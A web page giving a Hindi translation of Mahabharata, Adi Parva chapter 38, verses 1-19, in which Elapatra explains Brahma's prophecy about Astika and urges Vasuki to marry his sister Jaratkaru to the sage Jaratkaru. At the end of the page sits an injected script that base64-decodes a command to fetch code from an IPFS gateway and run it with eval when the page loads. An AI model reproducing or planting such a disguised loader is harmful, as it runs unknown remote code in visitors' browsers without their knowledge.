महाभारत आदि पर्व अध्याय 38 श्लोक 1-19

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

अष्‍टत्रिंश (38) अध्‍याय: आदि पर्व (आस्तीक पर्व)

महाभारत: आदि पर्व: अष्‍टत्रिंश अध्‍याय: श्लोक 1-19 का हिन्दी अनुवाद

उग्रश्रवाजी कहते हैं—शौनकजी ! समस्त सर्पों की भिन्न-भिन्न राय सुनकर और अन्त में वासुकि के वचनों का श्रवण कर एलापत्र नामक नाग ने इस प्रकार कहा—‘भाइयों ! यह सम्भव नहीं है कि यह यज्ञ न हो तथा पाण्डववंशी राजा जनमेजय भी, जिससे हमें महान् भय प्राप्त हुआ है, ऐसा नहीं है कि हम उसका कुछ बिगाड़ सकें। ‘राजन ! इस लोक में जो पुरुष दैव का मारा हुआ है, उसे दैव की ही शरण लेनी चाहिये। वहाँ दूसरा कोई आश्रय नहीं काम देता। ‘श्रेष्ठ नागराण ! हमारे ऊपर आया हुआ यह भय भी दैवजनित ही है, अतः हमें दैव का ही आश्रय लेना चाहिये। उत्तम सर्पगण ! इस विषय में आप लोग मेरी बात सुनें ! जब माता ने सर्पों को यह शाप दिया था, उस समय भय के मारे मैं माता की गोद में चढ़ गया था। पन्नगप्रवर महातेजस्वी नागराज गण ! तभी दुःख से आतुर होकर ब्रह्माजी के समीप आये हुए देवताओं की यह वाणी मेरे कानों में पड़ी’- ‘अहो ! स्त्रियाँ बड़ी कठोर होती हैं, बड़ी कठोर होती हैं।' देवता बोले —पितामह ! देव ! तीखे स्वभाव वाली इस क्रूर कद्रू को छोड़कर दूसरी कौन स्त्री होगी, जो प्रिय पुत्रों को पाकर उन्हें इस प्रकार शाप दे सके और वह भी आपके सामने। पितामह ! आपने भी ‘तथास्तु’ कहकर कद्रू की बात का अनुमोदन ही किया है; उसे शाप देने से रोका नहीं है। इसका क्या कारण है, हम यह जानना चाहते हैं। ब्रह्माजी ने कहा—इन दिनों भयानक रूप और प्रचण्ड विष वाले क्रूर सर्प बहुत हो गये हैं (जो प्रजा को कष्ट दे रहे हैं)। मैंने प्रजाजनों के हित की इच्छा से ही उस समय कद्रू को मना नहीं किया। जनमेजय के सर्प यज्ञ में उन्हीं सर्पों का विनाश होगा जो प्रायः लोगों को डँसते रहते हैं, क्षुद्र स्वभाव के हैं और पापाचारी तथा प्रचण्ड विष वाले हैं। किंतु जो धर्मात्मा हैं, उनका नाश नहीं होगा। वह समय आने पर सर्पों का उस महान् भय से जिस निमित्त से छुटकारा होगा, उसे बतलाता हूँ, तुम सब लोग सुनो। यायावर कुल में जरत्कारू नाम से विख्यात एक बुद्धिमान महर्षि होंगे। वे तपस्या में तत्पर रहकर अपने मन और इन्द्रियों को संयम में रखेंगे। उन्हीं के आस्तीक नाम का एक महातपस्वी पुत्र उत्पन्न होगा जो उस यज्ञ को बंद करा देगा। अतः जो सर्प धार्मिक होंगे, वे उसमें जलने से बच जायेंगे। देवताओं ने पूछा—ब्रह्मन ! वे मुनिशिरोमणि महातपस्वी शक्तिशाली जरत्कारू किसके गर्भ से अपने उस महात्मा पुत्र को उत्पन्न करेंगे? ब्रह्माजी ने कहा—वे शक्तिशाली द्विजश्रेष्ठ जिस ‘जरत्कारू’ नाम से प्रसिद्ध होंगे, उसी नाम वाली कन्या को पत्नी रूप में प्राप्त करके उसके गर्भ से एक शक्तिशाली पुत्र उत्पन्न करेंगे। सर्पराज वासुकि की बहिन का नाम जरत्कारू है। उसी के गर्भ से वह पुत्र उत्पन्न होगा, जो नागों को शाप से छुड़ायेगा। एलापत्र कहते हैं—यह सुनकर देवता ब्रह्माजी से कहने लगे एवमस्तु (ऐसा ही हो)।’ देवताओं से ये सब बातें बताकर ब्रह्माजी ब्रह्मलोक में चले गये। अतः नागराज वासुके ! मैं तो ऐसा समझता हूँ कि आप नागों का भय दूर करने के लिये कन्या की भिक्षा माँगने वाले, उत्तम व्रत का पालन करने वाले महर्षि जरत्कारू को अपनी जरत्कारू नाम वाली यह बहिन ही भिक्षा रूप में अर्पित कर दें। उस शाप से छूटने का यही उपाय मैंने सुना है।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>